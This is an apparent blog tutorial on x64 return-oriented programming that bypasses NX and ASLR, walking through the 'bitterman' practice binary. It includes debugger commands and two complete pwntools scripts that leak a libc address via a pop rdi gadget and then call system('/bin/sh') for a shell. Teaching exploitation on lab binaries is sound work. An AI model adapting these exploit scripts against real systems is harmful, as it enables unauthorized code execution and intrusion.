ROP Chain Exploit x64 with example

Akshit Singhal
12 min readNov 28, 2020

We all are well aware about the Buffer Overflow exploits.
But if some security features are enabled in a binary, it’s not possible to exploit it with traditional Buffer Overflow Attacks.
So, for that we frequently uses ROP Chain attack.
I’m explaining this method for a 64 bit architecture, as I found it difficult to understand previously. Also there aren’t so many resources available to explain ROP Chain in 64 Bit Architecture easily. So I had tried my best to explain it in simplest and easiest way as possible.

In my previous blog, I explained about the Buffer Overflow attacks when some security features were enabled in a binary. And there, I explained a lot of things briefly, which we are going to use here. So, if you hadn’t seen it yet, below is the link for the same.

What is ROP Chain??

So the first question which comes to our mind is what is ROP chain method??
ROP stands for Return Oriented Programming. It is used to bypass security features like NX and ASLR in a binary. ROP chaining is an extension of return-to-LIBC and allows for pivoting across multiple (arbitrary) functions

A brief explanation of the methodology used by ROP Chain method.

Before I start explaining ROP chain method in depth, I want to explain a brief methodology which we are going to use in the ROP Chain method, so that you have an idea of what we have to do in this method throughout this journey.

ROP chaining are based on the idea that the saved return address on the stack can be overwritten by a different address. When the function returns, eip is loaded with the overwritten address rather than the original saved return address causing it to execute code determined by the attacker.

I will explain a couple of security features which can enable in a binary, i.e. ASLR and NX.

You can check if these features are enable in your binary by running a simple command in your gdb.

In above image, you can see that NX is enable in this binary. For checking ASLR, you can refer my previous blog, whose link is given at the starting of this blog.

What is NX??

The full form of NX is NON-Executable.
If NX is enabled in any binary, then it doesn’t allows code to be executed in binary. Due to which we can’t just place our rev shell after directing it towards ESP.

Why ROP Chain method??
As we had seen in my previous blog that we had used Return to LIBC method to bypass the NX and used brute force method to bypass ASLR. Then why we need this ROP Chain method???

I’m explaining it for both NX and ASLR separately.

In case of ASLR enabled machine:

As in my previous article, I had explained Return to LIBC Method to overcome ASLR, which was using Brute Force Method to get the right address and execute our payload. But that can’t be done every time.
In Brute Forcing method, if less than 2 bits are changing, which makes 15*15=225 possibilities, then that can be brute forced.
But think of a scenario, where 3, 4 or more bits are changing, that make 3375 possibilities in 3 bits, and 50,625 in 4 bits and so on, which is hard to brute force. So, in this case we uses ROP chain technique, which can bypass this feature easily.

In case of NX enabled machine:

The Return-to-LIBC technique depends on the availability of some functions such as “system()”. If such functions are not in the memory, the technique will not work. With the ROP technique, an attacker can carefully choose machine instruction sequences that are already present in the machine’s memory, such that when these sequences are chained together they can achieve the intended goal. These sequences are called gadgets, which typically end in a return (ret) instruction and are located in a subroutine within the existing program and/or shared library code

So now, I’m going to explain the whole scenario of a ROP Chain method.

So as I explained in my previous blog, that in Return to LIBC method, our main goal is to find the addresses of the functions of LIBC which we are using in the exploit, in the Global Offset Table, from which we can execute our shell by pointing the LIBC address of the vulnerable functions to RSP, for which we used brute force method.

But in ROP chain method, instead of brute forcing, we are going to find the address of a random function of LIBC, so that we can find where LIBC is located and then can calculate address of functions which we are going to use in exploit from the information which we will get.

First try to understand this thing that a LIBC is a library, which have various functions at a particular distance from each other. Let’s assume 2 functions puts and system. If the memory difference between these 2 functions is 0x705e0 in LIBC, then it’s going to same everywhere. Only the initial address of LIBC(where LIBC is starting) changes every time due to ASLR.

So what we are trying to do is that first we will make the binary leaks the address of LIBC. Once we got that address, we can use that address to find the address of our vulnerable function like system() or any other function to get a reverse shell.

Here, a question arises that if we are leaking the address, it’s going to execute the binary and will end it after leaking. And if we execute in again for our shell, the address of LIBC will change due to ASLR.

So, the answer is that after executing the binary for leaking the address of LIBC, we are going to call main() function again to execute the binary again within the script. That means binary is not ending and it’s simply calling another function and that function is main(), so it’s not going to change the address of LIBC.

So for leaking the address, we have to use ROP Gadget.

What is ROP Gadget??

ROP Gadgets are a small instruction sequence, ending with ‘ret’. The ROP gadget has to end with a “ret” to enable us to perform multiple sequences. Hence it is called return oriented. Combining these gadgets will enable us to perform certain tasks.

To Leak the address of LIBC, we can use a simplest gadget:
pop rdi;
return

Some Key Points to understand ROP Gadgets in 64 Bit Architecture

> We are using pop rdi to pop stack into rdi. That’s because in 64 bit arch, we put arguments in register instead of stack.

> Let’s say you want to call a particular function that takes one parameter. In order to call this function successfully, you’ll need the register rdi to hold the parameter you’d like to pass to that function. The simplest way to place a value into a register is to use a pop instruction.

> The order for 4 argument is rdi ->rsi -> rdx -> rcx.

> The number of pop instructions required before a ret instruction is equal to the number of arguments that the calling function accepts.

> When you don’t have ideal gadgets available but need to control a particular register, you might still be able to do so through the use of xor and xchg gadgets

> xor gadgets are useful for XORing a register against itself to zero it out, and for XORing an empty register against a controlled register to duplicate the contents of the controlled register into the empty one

> xchg gadgets are also useful for indirect control. You can use an xchg gadget to swap the contents of two registers

If you want to know more about x64 arch, refer this page.
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/x64-architecture

You can use any tool of your choice to get ROP chain, I’m using radare2.
Just run these commands:
r2 your_binary_name” # To open the radare2 from your cmd prompt.
/R pop rdi” # To find a ROP chain having pop rdi

If you want more detailed information about ROP Gadgets, refer this page
https://trustfoundry.net/basic-rop-techniques-and-tricks/

Before moving on, we have to discuss about GOT(Global Offset Table) and PLT(Procedural Linkage Table).

So when we run a normal executable/binary, it has number of sections like GOT, PLT etc.

The GOT is a section of a computer program’s (executable and shared libraries) memory used to enable computer program code compiled as an ELF file to run correctly, independent of the memory address where the program’s code or data is loaded at runtime.
GOT is a table of offset, which contains the value of offsets between that binary address and LIBC function address.

PLT is where call exists in binary.

To understand about this in depth, read this beautiful article explaining everything about GOT and PLT.
https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html

How we make a binary leak the address???

So, to leak the address, we are calling plt puts()or binary puts() to call GOT puts, which will leak the address of puts in the binary.

Then taking that address, we can calculate the address of system, bin/bash func in LIBC through offset.
First we will calculate offset by subtracting the leaked address of puts with puts address in LIBC.
And then can calculate the address of system, bin/bash by adding the LIBC address of system with this offset.

Walkthrough of Bitterman

I’m going to explain a walkthrough of a binary named bitterman to explain every step of this ROP Chain method in a detailed manner so that I can clear all your doubts.

So let’s apply the knowledge which we had learned till now in a practical scenario.

Let’s run it on our Kali Linux box.

I started by running the checksec command in gef to show what security features enabled in the binary like (NX, PIE, RELRO, CANARY, etc.) and I found only the NX is enabled which means we cannot run shell code from the stack, that’s why we will use ROP technique.

After entering around 500 characters in the message field manually , the program crashed

Now I will create a pattern instead of the random garbage to enter so that we can determine the offset where the program started to crash, by using the built-in pattern create and pattern offset commands in gef we can determine the exact offsets to build our exploit.
Use this command to create pattern in gef.

>> pattern create 500

We are going to examine the RSP register now to get the value stored inside it and then use this value with pattern offset to get the actual offset where the crash happens.

Now run these 2 commands to find the offset.
>> x/xg $rsp
>> pattern offset “result of above cmd“

Here, we found that the offset is 152, So we have to fill 152 bytes into it to overwrite RSP.

Now, to leak the address, we have to write a script.

For the script, we are using pwntools. I will use python language to create the exploit for the bitterman binary to construct the exploit.

Using vim editor I started to build the exploit by importing the pwntools library and then figuring out what are the main elements for the exploit skeleton.
First, we need to calculate the address of the Puts function call in the binary where the BOF happens.
By using objdump we can get the address of the puts function in the GOT and PLT (Procedural Link Table) of the binary.

>> objdump -D bitterman -M intel | grep puts

As we had already discussed, when the puts function calls itself in the GOT it leaks its location in the binary which changes every time we run the program.

Unlike 32-bit applications, the 64-bit applications don’t store the arguments of their functions on the stack, instead they store them in the registers then if there were a lot of arguments and the all the registers were used, they store the rest on the stack but in our binary there are a few arguments so all of them stored in the registers.
So, our first gadget will be (pop rdi) as we discussed earlier about ROP gadgets.

Now let’s add the address of (pop rdi) to our exploit template and construct our initial payload which consists of :
1- (152) junk bytes
2- Address of (pop rdi) gadget
3- Address of puts function in GOT (which will be the argument)
4- Address of puts function in PLT (which will be the actual function to call)

from pwn import *
# Here we define the context of the exploit, linux os and amd64 arch
context(os=’linux’, arch=’amd64')
put_plt_addr = p64(0x400520)
put_got_addr = p64(0x600c50)
pop_rdi_gadget = p64(0x400853)
# The first 152 bytes of our payload are junk before we overwrite RSP
payload = ‘A’*152
payload += pop_rdi_gadget
payload += put_got_addr
payload += put_plt_addr
p.recvuntil(“name?”)
p.sendline(“Akshit”)
p.recvuntil(“message:”)
p.sendline(“Testing Payload”)
p.recvuntil(“text:”)
p.sendline(payload)
p.interactive()

When we run the above program, it worked and successfully leaked the address of puts function as you can see it below.

Now, actually we don’t want the program to crash when we run the exploit because as we discussed earlier that the address changes every time we ran it, so we want to save this leaked address and make the program return to the main function again to continue running.

To get the address of the main() function use this command:

>>objdump -D bitterman -M intel | grep main

Now, we have to calculate the offsets of the functions we are going to use from LIBC. For that, we are finding the address of those functions in the LIBC.

>>readelf -s libc.so.6 | grep puts
>>readelf -s libc.so.6 | grep system

Also we need the string “/bin/sh” to get a shell after exploitation

>>strings -t x libc.so.6 | grep “/bin/sh”

Note the output of the above commands, which we are going to use in our exploit script.

Let’s edit our exploit script and calculate the offsets with below information.
• main() address in bitterman binary : 0x4006ec
• puts() address in libc.so.6 : 0x705e0
• system() address in libc.so.6 : 0x435d0
• “/bin/sh” string in libc.so.6 : 0x17f573

from pwn import *
# Here we define the context of the exploit, Linux os and amd64 arch
context(os=’Linux’, arch=’amd64')
p = process(‘./bitterman’)
put_plt_addr = p64(0x400520)
put_got_addr = p64(0x600c50)
main_plt_addr = p64(0x4006ec)
pop_rdi_gadget = p64(0x400853)
# The first 152 bytes of our payload are junk before we overwrite the RSP
junk = ‘A’*152
payload = junk
payload += pop_rdi_gadget
payload += put_got_addr
payload += put_plt_addr
payload += main_plt_addr
p.recvuntil(“name?”)
p.sendline(“Akshit”)
p.recvuntil(“message:”)
p.sendline(“testing payload”)
p.recvuntil(“text:”)
p.sendline(payload)
p.recvuntil(“Thanks!”)
leaked = p.recv()[:8].strip().ljust(8, “\x00”)
log.success(“Leaked Address = “ +str(leaked))
leaked = u64(leaked) # converts from string to 64 bit unsigned
puts_libc = 0x705e0
system_libc = 0x435d0
sh_libc = 0x17f573
offset = leaked — puts_libc # offset between any function in the program and its address in libc
sys = p64(offset+system_libc)
sh = p64(offset+sh_libc)
payload2 = junk
payload2 += pop_rdi_gadget
payload2 += sh
payload2 += sys
# when the program returns to main function from first payload i noticed that it waited for the name input
p.sendline(“Akshit”)
p.recvuntil(“message:”)
p.sendline(“testing payload”)
p.recvuntil(“text:”)
p.sendline(payload2)
p.recvuntil(“Thanks!”)
p.interactive()

Run the exploit

And Cool, we have a shell now !!

And that’s it. I hope that you are now clear with the concepts of ROP Chain methodology. I tried to explain it in simplest way as possible with an example.

All the links which I referred to is given below. I also encourage you to go through it if you want more detailed information about the particular things.

--

--